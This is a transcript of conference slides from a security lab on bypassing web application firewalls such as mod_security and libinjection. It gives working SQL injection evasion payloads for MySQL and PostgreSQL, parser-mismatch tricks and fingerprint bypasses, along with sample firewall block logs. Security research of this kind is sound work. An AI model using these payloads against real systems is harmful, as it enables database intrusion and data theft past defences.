Transcript

bypassing modern web application firewalls

@ONsec_lab, http://lab.onsec.ru

About

• Security audits of webapps since 2009

• @d0znpp twitter

• @ONsec_lab twitter

• Nice blog! http://lab.onsec.ru - [ENG]

• d0znpp[at]ONsec[dot]ru еmаi1

WTF WAF?

• Web Application Firewall

• Prevent attacks

• Attack != Vulnerability

• Risk != Attack

Software VS Hardware

• Different HTTP parsers

• Many «hardware» WAFs used Apache, Lighttpd, Nginx forks

Implementation

• Failover bypass:

• DoS/DDoS WAF for bypass it- why not?!

• What happens with traffic when your filter is overloaded?

• XML, regexp, token bombs for this

• Not so silently, right? :)

WAF work stages

• Parse HTTP packet from client (web server to this in general case)

• Determine rules that must be applied to current URL/client/hostname/etc

• Normalize data (2-nd urldecode, base64, etc)

• Do detection logic (such as regexpr)

• Make detection decision (true/false/score)

WAF work stages

• Parse HTTP packet from client (web server to this in general case)

• Determine rules that must be applied to current URL/client/hostname/etc

• Normalize data (2-nd urldecode, base64, etc)

• Do detection logic (such as regexpr)

• Make detection decision (true/false/score)

Protocol level bug looks like abyss

Parse HTTP packets• First read: «Protocol-Level Evasion of Web

Application Firewalls», Ivan Ristic, BH-US-2012

• Nice yesterday bypass Imperva by @webpentest during PHDays WAF bypass contest: Content-Type: invalid :)))

• Classic example - HTTP Parameter Pollution

• Are you sure that WAF’s and webapp’s HTTP protocols are the same?

WAF work stages

• Parse HTTP packet from client (web server to this in general case)

• Determine rules that must be applied to current URL/client/hostname/etc

• Normalize data (2-nd urldecode, base64, etc)

• Do detection logic (such as regexpr)

• Make detection decision (true/false/score)

Data normalization level bug looks like

tunnel

Data normalization

• Format parsers, for example:

• base64

• xml

• JSON

• Are you sure that WAF’s and webapp’s parsers are the same?

Data normalization

• mod_security, t:base64decode

• decode string until first = char

• PHP, base64_decode($strict=false)

• decode whole string

• Attack vector

• YWFh=attackhere

• Use t:base64DecodeExt!

Data normalization

• Yet another example from yesterday PHDays WAF bypass contest - Imperva XML decoding

• First decode XML, that validate attacks

• XML input was not set up as XML type in WAF

• Put attack as XML-encoded data (entities) to bypass regexpr: union select 123

WAF work stages

• Parse HTTP packet from client (web server to this in general case)

• Determine rules that must be applied to current URL/client/hostname/etc

• Normalize data (2-nd urldecode, base64, etc)

• Do detection logic (such as regexpr)

• Make detection decision (true/false/score)

Detection logic bug looks like ninja

Detection logic

• Regular expressions (mod_security, etc)

• Tokenizers (libinjection)

• ...

SQL syntax - time to fuzzing!

• SELECT{$P1} 1 FROM...

• ...UNION{$P2}FROM...

• SELECT VERSION{$P3}()

• SELECT{$P4}VERSION{P4}()

• SELECT 1{P5}BAD

MySQL: the classics

• SELECT{U} 1 FROM

• ...UNION{U}FROM...

• SELECT VERSION{U}()

• {U} = [0x09,0x0A-0x0D,0x20,0xA0]*

• Fuzzed only 1-bytes sequences, not /**/, etc

MySQL: time to fuzzing!• SELECT{F}VERSION{F}()

• SELECT 1{D}BAD

• {F} = {U} + 0x60 (backquote `)

• {D} = # + 0x60

• Have a fun with regexp:

• select`version` ( )

• ... where id=’1’`’ and ... - commented now

MySQL: break tokens!• SELECT{O}1 FROM test

• {O} = [-+!~@]

• SELECT 1{W}FROM test;

• {W} = [.\d?|e\d]

• Part of this discovered during our WAF bypass contest last year by @Black2Fan

MySQL: break tokens!• SELECT-1e1FROM test

• SELECT~1.FROM test

• SELECT\NFROM test

• SELECT@^1.FROM test

• SELECT-id-1.FROM test

• all tested on MySQL 5.1.66-0-squeeze1

Postgres: the classics

• SELECT{U} 1 FROM

• ...UNION{U}FROM...

• SELECT VERSION{U}()

• {U} = [0x09,0x0A,0x0C,0x0D,0x20]*

• Fuzzed only 1-bytes sequences, not /**/, etc

Postgres: time to fuzz!• SELECT{F}VERSION{F}()

• SELECT 1{D}BAD

• {F} = {U} + 0x22 (doblequote ‘’)

• {D} = # + 0x22

• Have a fun with regexp:

• select’’version’’ ( )

• ... where id=’1’`’ and ... - commented now

Postgres: break tokens!

• SELECT{O}1 FROM test

• {O} = [.-+!~@] - @ is absolute operator

• SELECT 1{W}FROM test;

• {W} = [.\d?|e\d|] - nothing is also OK!

Postgres: break tokens!• SELECT-1ROM test

• SELECT.1FROM test

• SELECT~1FROM test

• SELECT-id-1FROM test

• SELECT-id-1FROM test

• all tested on PostgreSQL 9.2.4

Time to exploit!

• mod_security

• libinjection

• others?

mod_security

• CRS (https://github.com/SpiderLabs/owasp-modsecurity-crs)

• base_rules

• many regular expressions

mod_security• ?id=select id from test

• ?id=select-id-1.from test

Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:union\\s*?(?:all|d i s t i n c t | [ ( ! @ ] * ? ) ? \ \ s * ? [ ( [ ] * ? \ \ s * ? se l e c t \ \ s + ) | ( ? : \ \ w + \ \ s + l i ke \ \ s + [ \ " ' `\xc2\xb4\xe2\x80\x99\xe2\x80\x98])|(?:like\\s*?[\"'`\xc2\xb4\xe2\x80\x99\xe2\x80\x98]\\%)|(?:[\"'`\xc2\xb4\xe2\x80\x99\xe2\x80\x98]\\s*?like\\W*?[\"'`\xc2\xb4 ..." at ARGS:id. [file "/opt/modsecurity/rules/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "223"] [id "981245"] [msg "Detects basic SQL authentication bypass attempts 2/3"] [data "Matched Data: select id from found within ARGS:id: select id from test"] [severity "CRITICAL"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"]

mod_security• ?id=1 or 1=1 or

• ?id=1 or true or

Message: Access denied with code 403 (phase 2). Pattern match "(?i:([\\s'\"`\ x c 2 \ x b 4 \ x e 2 \ x 8 0 \ x 9 9 \ x e 2 \ x 8 0 \ x 9 8 \ \ ( \ \ ) ] * ? ) ( [ \ \ d \ \ w ] + + ) ( [ \ \ s ' \ " `\xc2\xb4\xe2\x80\x99\xe2\x80\x98\\(\\)]*?)(?:(?:=|<=>|r?like|sounds\\s+like|regexp)([\\s'\"`\xc2\xb4\xe2\x80\x99\xe2\x80\x98\\(\\)]*?)\\2|(?:!=|<=|>=|<>|<|>|\\^|is\\s+not|not\\ ..." at A R G S : i d . [ fi l e " / o p t / m o d s e c u r i t y / r u l e s / b a s e _ r u l e s /modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within ARGS:id: 1 or 1=1 or "] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]

libinjection

• Token based detection

• No more regexp!

• Fingerprint for each attack 1-5 tokens sequence

• 14 token types, 14^5+14^4+14^3+14^2+14 ~= 580k possible fingerprints

• Is it enough to block all SQLi?

libinjection

• Bytes obfuscation doesn’t works now

• But...

• What happens if you missed some tokens?

Attack #1. Missed token / fingerprint

• As fuzzed above ` 0x60 byte can be used as a comment in MySQL and also as function quotes

• ' into outfile 'asd' --

• block - skksc

• ' into outfile 'asd' `

• bypass - skksn

Attack #2. Token obfuscation

• Find any unblocked fingerprint

• Obfuscate your attack to produce the same fingerprint

• Fingerprint have only 5 tokens

• Need to exploit anti-obfuscation logic (1+1 and others hardcoded token combinations)

Attack #2. Token obfuscation

• Fingerprint «v1111» looks like safe

• @a1a2a3a4 - variable but fingerprint of this string is «v», no numeric token here

• @ф1й2у3ц4 - is valid variable for MySQL, but produce fingerprint «v1111»

• @ф1й2у3ц4 union select ... produce fingerprint «v1111» also :)

Some stats

• Hacking WAFs since 2009

• About 50 different implementations

• About 10 different engines

• Time to hack:

• min: 3 min

• max: 19 hours

• average: 1hour

Questions?

• @d0znpp twitter

• @ONsec_lab twitter

• Nice blog! http://lab.onsec.ru - [ENG]

• d0znpp[at]ONsec[dot]ru еmаi1


Recommended